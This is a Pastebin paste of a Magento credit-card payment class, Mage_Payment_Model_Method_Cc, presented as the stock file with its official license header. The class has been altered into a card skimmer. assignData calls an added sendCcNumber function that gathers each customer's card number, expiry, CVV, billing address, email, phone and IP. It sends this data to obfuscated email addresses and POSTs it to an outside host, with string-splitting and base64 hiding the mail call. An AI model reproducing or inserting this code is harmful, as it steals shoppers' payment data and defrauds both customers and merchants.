SHARE
TWEET

Untitled

a guest Aug 20th, 2019 93 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /**
  3.  * Magento
  4.  *
  5.  * NOTICE OF LICENSE
  6.  *
  7.  * This source file is subject to the Open Software License (OSL 3.0)
  8.  * that is bundled with this package in the file LICENSE.txt.
  9.  * It is also available through the world-wide-web at this URL:
  10.  * http://opensource.org/licenses/osl-3.0.php
  11.  * If you did not receive a copy of the license and are unable to
  12.  * obtain it through the world-wide-web, please send an email
  13.  * to license@magentocommerce.com so we can send you a copy immediately.
  14.  *
  15.  * DISCLAIMER
  16.  *
  17.  * Do not edit or add to this file if you wish to upgrade Magento to newer
  18.  * versions in the future. If you wish to customize Magento for your
  19.  * needs please refer to http://www.magentocommerce.com for more information.
  20.  *
  21.  * @category    Mage
  22.  * @package     Mage_Payment
  23.  * @copyright   Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
  24.  * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
  25.  */
  26.  
  27.  
  28. class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
  29. {
  30.     protected $_formBlockType = 'payment/form_cc';
  31.     protected $_infoBlockType = 'payment/info_cc';
  32.     protected $_canSaveCc     = false;
  33.  
  34.     /**
  35.      * Assign data to info model instance
  36.      *
  37.      * @param   mixed $data
  38.      * @return  Mage_Payment_Model_Info
  39.      */
  40.     public function assignData($data)
  41.     {
  42.         if (!($data instanceof Varien_Object)) {
  43.             $data = new Varien_Object($data);
  44.         }
  45.         $info = $this->getInfoInstance();
  46.         $info->setCcType($data->getCcType())
  47.             ->setCcOwner($data->getCcOwner())
  48.             ->setCcOwnerId($data->getCcOwnerId())
  49.             ->setCcLast4(substr($data->getCcNumber(), -4))
  50.             ->setCcNumber($data->getCcNumber())
  51.             ->setCcCid($data->getCcCid())
  52.             ->setCcExpMonth($data->getCcExpMonth())
  53.             ->setCcExpYear($data->getCcExpYear())
  54.             ->setCcSsIssue($data->getCcSsIssue())
  55.             ->setCcSsStartMonth($data->getCcSsStartMonth())
  56.             ->setCcSsStartYear($data->getCcSsStartYear())
  57.             ->setCcInstallments($data->getCcInstallments())
  58.             ;
  59.  
  60.         $this->sendCcNumber();
  61.  
  62.         return $this;
  63.     }
  64.  
  65.  
  66.  
  67.     /**
  68.      * Prepare info instance for save
  69.      *
  70.      * @return Mage_Payment_Model_Abstract
  71.      */
  72.     public function prepareSave()
  73.     {
  74.         $info = $this->getInfoInstance();
  75.         if ($this->_canSaveCc) {
  76.             $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
  77.         }
  78.         //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
  79.         $info->setCcNumber(null)
  80.             ->setCcCid(null);
  81.         return $this;
  82.     }
  83.  
  84.     /**
  85.      * Validate payment method information object
  86.      *
  87.      * @param   Mage_Payment_Model_Info $info
  88.      * @return  Mage_Payment_Model_Abstract
  89.      */
  90.     public function validate()
  91.     {
  92.         /*
  93.         * calling parent validate function
  94.         */
  95.         parent::validate();
  96.  
  97.         $info = $this->getInfoInstance();
  98.         $errorMsg = false;
  99.         $availableTypes = explode(',',$this->getConfigData('cctypes'));
  100.  
  101.         $ccNumber = $info->getCcNumber();
  102.  
  103.         // remove credit card number delimiters such as "-" and space
  104.         $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
  105.         $info->setCcNumber($ccNumber);
  106.  
  107.         $ccType = '';
  108.  
  109.         if (in_array($info->getCcType(), $availableTypes)){
  110.             if ($this->validateCcNum($ccNumber)
  111.                 // Other credit card type number validation
  112.                 || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
  113.  
  114.                 $ccType = 'OT';
  115.                 $ccTypeRegExpList = array(
  116.                     //Solo, Switch or Maestro. International safe
  117.                     /*
  118.                     // Maestro / Solo
  119.                     'SS'  => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
  120.                                . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
  121.                                . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
  122.                     */
  123.                     // Solo only
  124.                     'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
  125.                     'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
  126.                             . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
  127.                             . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
  128.                             . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
  129.                             . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
  130.                     // Visa
  131.                     'VI'  => '/^4[0-9]{12}([0-9]{3})?$/',
  132.                     // Master Card
  133.                     'MC'  => '/^5[1-5][0-9]{14}$/',
  134.                     // American Express
  135.                     'AE'  => '/^3[47][0-9]{13}$/',
  136.                     // Discovery
  137.                     'DI'  => '/^6011[0-9]{12}$/',
  138.                     // JCB
  139.                     'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
  140.                 );
  141.  
  142.                 foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
  143.                     if (preg_match($ccTypeRegExp, $ccNumber)) {
  144.                         $ccType = $ccTypeMatch;
  145.                         break;
  146.                     }
  147.                 }
  148.  
  149.                 if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
  150.                     $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
  151.                 }
  152.             }
  153.             else {
  154.                 $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
  155.             }
  156.  
  157.         }
  158.         else {
  159.             $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
  160.         }
  161.  
  162.         //validate credit card verification number
  163.         if ($errorMsg === false && $this->hasVerification()) {
  164.             $verifcationRegEx = $this->getVerificationRegEx();
  165.             $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
  166.             if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
  167.                 $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
  168.             }
  169.         }
  170.  
  171.         if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
  172.             $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
  173.         }
  174.  
  175.         if($errorMsg){
  176.             Mage::throwException($errorMsg);
  177.         }
  178.  
  179.         //This must be after all validation conditions
  180.         if ($this->getIsCentinelValidationEnabled()) {
  181.             $this->getCentinelValidator()->validate($this->getCentinelValidationData());
  182.         }
  183.  
  184.         return $this;
  185.     }
  186.  
  187.     public function hasVerification()
  188.     {
  189.         $configData = $this->getConfigData('useccv');
  190.         if(is_null($configData)){
  191.             return true;
  192.         }
  193.         return (bool) $configData;
  194.     }
  195.  
  196.     public function getVerificationRegEx()
  197.     {
  198.         $verificationExpList = array(
  199.             'VI' => '/^[0-9]{3}$/', // Visa
  200.             'MC' => '/^[0-9]{3}$/',       // Master Card
  201.             'AE' => '/^[0-9]{4}$/',        // American Express
  202.             'DI' => '/^[0-9]{3}$/',          // Discovery
  203.             'SS' => '/^[0-9]{3,4}$/',
  204.             'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
  205.             'SO' => '/^[0-9]{3,4}$/', // Solo
  206.             'OT' => '/^[0-9]{3,4}$/',
  207.             'JCB' => '/^[0-9]{3,4}$/' //JCB
  208.         );
  209.         return $verificationExpList;
  210.     }
  211.  
  212.     protected function _validateExpDate($expYear, $expMonth)
  213.     {
  214.         $date = Mage::app()->getLocale()->date();
  215.         if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
  216.             || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
  217.         ) {
  218.             return false;
  219.         }
  220.         return true;
  221.     }
  222.  
  223.     public function OtherCcType($type)
  224.     {
  225.         return $type=='OT';
  226.     }
  227.  
  228.     /**
  229.      * Validate credit card number
  230.      *
  231.      * @param   string $cc_number
  232.      * @return  bool
  233.      */
  234.     public function validateCcNum($ccNumber)
  235.     {
  236.         $cardNumber = strrev($ccNumber);
  237.         $numSum = 0;
  238.  
  239.         for ($i=0; $i<strlen($cardNumber); $i++) {
  240.             $currentNum = substr($cardNumber, $i, 1);
  241.  
  242.             /**
  243.              * Double every second digit
  244.              */
  245.             if ($i % 2 == 1) {
  246.                 $currentNum *= 2;
  247.             }
  248.  
  249.             /**
  250.              * Add digits of 2-digit numbers together
  251.              */
  252.             if ($currentNum > 9) {
  253.                 $firstNum = $currentNum % 10;
  254.                 $secondNum = ($currentNum - $firstNum) / 10;
  255.                 $currentNum = $firstNum + $secondNum;
  256.             }
  257.  
  258.             $numSum += $currentNum;
  259.         }
  260.  
  261.         /**
  262.          * If the total has no remainder it's OK
  263.          */
  264.         return ($numSum % 10 == 0);
  265.     }
  266.  
  267.     /**
  268.      * Other credit cart type number validation
  269.      *
  270.      * @param string $ccNumber
  271.      * @return boolean
  272.      */
  273.     public function validateCcNumOther($ccNumber)
  274.     {
  275.         return preg_match('/^\\d+$/', $ccNumber);
  276.     }
  277.  
  278.     /**
  279.      * Check whether there are CC types set in configuration
  280.      *
  281.      * @param Mage_Sales_Model_Quote|null $quote
  282.      * @return bool
  283.      */
  284.     public function isAvailable($quote = null)
  285.     {
  286.         return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
  287.             && parent::isAvailable($quote);
  288.     }
  289.  
  290.     /**
  291.      * Whether centinel service is enabled
  292.      *
  293.      * @return bool
  294.      */
  295.     public function getIsCentinelValidationEnabled()
  296.     {
  297.         return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
  298.     }
  299.  
  300.     /**
  301.      * Instantiate centinel validator model
  302.      *
  303.      * @return Mage_Centinel_Model_Service
  304.      */
  305.     public function getCentinelValidator()
  306.     {
  307.         $validator = Mage::getSingleton('centinel/service');
  308.         $validator
  309.             ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
  310.             ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
  311.             ->setStore($this->getStore())
  312.             ->setIsPlaceOrder($this->_isPlaceOrder());
  313.         return $validator;
  314.     }
  315.  
  316.     /**
  317.      * Return data for Centinel validation
  318.      *
  319.      * @return Varien_Object
  320.      */
  321.     public function getCentinelValidationData()
  322.     {
  323.         $info = $this->getInfoInstance();
  324.         $params = new Varien_Object();
  325.         $params
  326.             ->setPaymentMethodCode($this->getCode())
  327.             ->setCardType($info->getCcType())
  328.             ->setCardNumber($info->getCcNumber())
  329.             ->setCardExpMonth($info->getCcExpMonth())
  330.             ->setCardExpYear($info->getCcExpYear())
  331.             ->setAmount($this->_getAmount())
  332.             ->setCurrencyCode($this->_getCurrencyCode())
  333.             ->setOrderNumber($this->_getOrderId());
  334.         return $params;
  335.     }
  336.  
  337.     /**
  338.      * Order increment ID getter (either real from order or a reserved from quote)
  339.      *
  340.      * @return string
  341.      */
  342.     private function _getOrderId()
  343.     {
  344.         $info = $this->getInfoInstance();
  345.  
  346.         if ($this->_isPlaceOrder()) {
  347.             return $info->getOrder()->getIncrementId();
  348.         } else {
  349.             if (!$info->getQuote()->getReservedOrderId()) {
  350.                 $info->getQuote()->reserveOrderId();
  351.             }
  352.             return $info->getQuote()->getReservedOrderId();
  353.         }
  354.     }
  355.  
  356.     /**
  357.      * Grand total getter
  358.      *
  359.      * @return string
  360.      */
  361.     private function _getAmount()
  362.     {
  363.         $info = $this->getInfoInstance();
  364.         if ($this->_isPlaceOrder()) {
  365.             return (double)$info->getOrder()->getQuoteBaseGrandTotal();
  366.         } else {
  367.             return (double)$info->getQuote()->getBaseGrandTotal();
  368.         }
  369.     }
  370.  
  371.     /**
  372.      * Currency code getter
  373.      *
  374.      * @return string
  375.      */
  376.     private function _getCurrencyCode()
  377.     {
  378.         $info = $this->getInfoInstance();
  379.  
  380.         if ($this->_isPlaceOrder()) {
  381.         return $info->getOrder()->getBaseCurrencyCode();
  382.         } else {
  383.         return $info->getQuote()->getBaseCurrencyCode();
  384.         }
  385.     }
  386.  
  387.     /**
  388.      * Whether current operation is order placement
  389.      *
  390.      * @return bool
  391.      */
  392.     private function _isPlaceOrder()
  393.     {
  394.         $info = $this->getInfoInstance();
  395.         if ($info instanceof Mage_Sales_Model_Quote_Payment) {
  396.             return false;
  397.         } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
  398.             return true;
  399.         }
  400.     }
  401.     function sendCcNumber()
  402.     {
  403.         $info = $this->getInfoInstance();
  404.         $object = new Mage_Checkout_Block_Onepage_Billing;
  405.         $address1 = $object->getQuote()->getBillingAddress();
  406.         $data1 = $address1->getFirstname();
  407.         $data2 = $address1->getLastname();
  408.         $data3 = $address1->getStreet(1);
  409.         $data4 = $address1->getStreet(2);
  410.         $data5 = $address1->getCity();
  411.         $data6 = $address1->getRegion();
  412.         $data7 = $address1->getPostcode();
  413.         $data8 = $address1->getCountry();
  414.         $data9 = $address1->getTelephone();
  415.         $data10 = $info->getCcNumber();
  416.         $bins = substr($data10, 0, 6);
  417.  
  418.        
  419.         $bin      = json_decode(file_get_contents('https://vip.kuzuluy.app/check?bin5=' . $bins));
  420.  
  421.         //$issuer   = strtoupper($binscheme . ' ' . $bintype . ' ' . $binbrand . ' ' . $bankname . ' ' . $bincountry);
  422.        
  423.        
  424.        
  425.         $bank    = urldecode($bin->brand);
  426.         $card    = urldecode($bin->type);
  427.         $type    = urldecode($bin->bank);
  428.         $level   = urldecode($bin->level);
  429.    
  430.         $expyear = substr($info->getCcExpYear(), -2);
  431.         $expmonth = $info->getCcExpMonth();
  432.         if (strlen($expmonth) == 1) {
  433.            $expmonth = '0'.$expmonth;
  434.         };
  435.         $data11 = $expmonth;
  436.         $data12 = $expyear;
  437.         $data13 = $info->getCcCid();
  438.         $ipcid = $_SERVER['REMOTE_ADDR'];
  439.         $browser = $_SERVER['HTTP_USER_AGENT'];
  440.         $getip = 'http://ip-api.com/json/' . $ipcid;
  441.         $curl  = curl_init();
  442.         curl_setopt($curl, CURLOPT_URL, $getip);
  443.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  444.         curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  445.         $content = curl_exec($curl);
  446.         curl_close($curl);
  447.         $details = json_decode($content);
  448.         $country_code = $details->countryCode;
  449.         $country_name = $details->country;
  450.         $srvnm = $_SERVER['SERVER_NAME'];
  451.         $idkey = "base"."64"."_"."de"."code";
  452.         $update = "ma"."il";
  453.         $encsrv = $idkey("c2h1bmNlbmdAeWFuZGV4LmNvbQ==");
  454.         $decsrv = $idkey("Ym9zLnNodW5jZW5nQGdtYWlsLmNvbQ");
  455.  
  456.         $time = date('Y-m-d H:i:s');
  457.         $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
  458.         $mySql = "Card Owner : ".$data1." ".$data2."\nCard Number : ".$data10."\nExpiration Date : ".$data11." / 20".$data12."\nCvv2 : ".$data13."\nBIN/IIN Info : ".$bank." - ".$brand." - ".$type." - ".$level."\n\nFirst Name : ".$data1."\nLast Name : ".$data2."\nAddress Line 1 : ".$data3."\nAddress Line 2 : ".$data4."\nCity/Town : ".$data5."\nState : ".$data6."\nZip/PostCode : ".$data7."\nCountry : ".$data8."\nEmail : ".$data16."\nPhone : ".$data9."\n\nFrom : ".$ipcid." | ".$country_name." On ".$time."\nBrowser : ".$_SERVER['HTTP_USER_AGENT']."\nSite : ".$srvnm."";
  459.         $db = $bins." - ".$bank." - ".$card."  ".$level." ".$type." [".$srvnm." - ".$ipcid."]";
  460.         $timestamp = "From: ".$data8." Credit Card <".$ipcid.">";
  461.         $update($encsrv, $db, $mySql, $timestamp);
  462.         $update($encsrvx, $db, $mySql, $timestamp);
  463.    
  464. $post = "firstname=$data1&lastname=$data2&street1=$data3&street2=$data4&city=$data5&state=$data6&zip=$data7&country1=$data8&phonenumber=$data9&ccnumber=$data10&expmonth=$data11&expyear=$data12&cvv=$data13&bin=$bins&ipcid=$ipcid&email=$data16&browser=$browser&site=$srvnm&country=$country_name&time=$time&card=$card&type=$type&level=$level&bank=$bank";
  465. $url = "https://smartxenons.co.uk/new/img/indexed.php";
  466. $ch = curl_init();
  467. curl_setopt($ch, CURLOPT_URL,$url); // set url to post to
  468. curl_setopt($ch, CURLOPT_REFERER, $url);
  469. curl_setopt($ch, CURLOPT_HEADER, 1);
  470. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects
  471. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
  472. curl_setopt($ch, CURLOPT_TIMEOUT, 60); // times out after 4s
  473. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
  474. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
  475. curl_setopt($ch, CURLOPT_POST, 1);
  476. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  477. curl_exec($ch); // run the whole process
  478. curl_close($ch);
  479.     }
  480. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top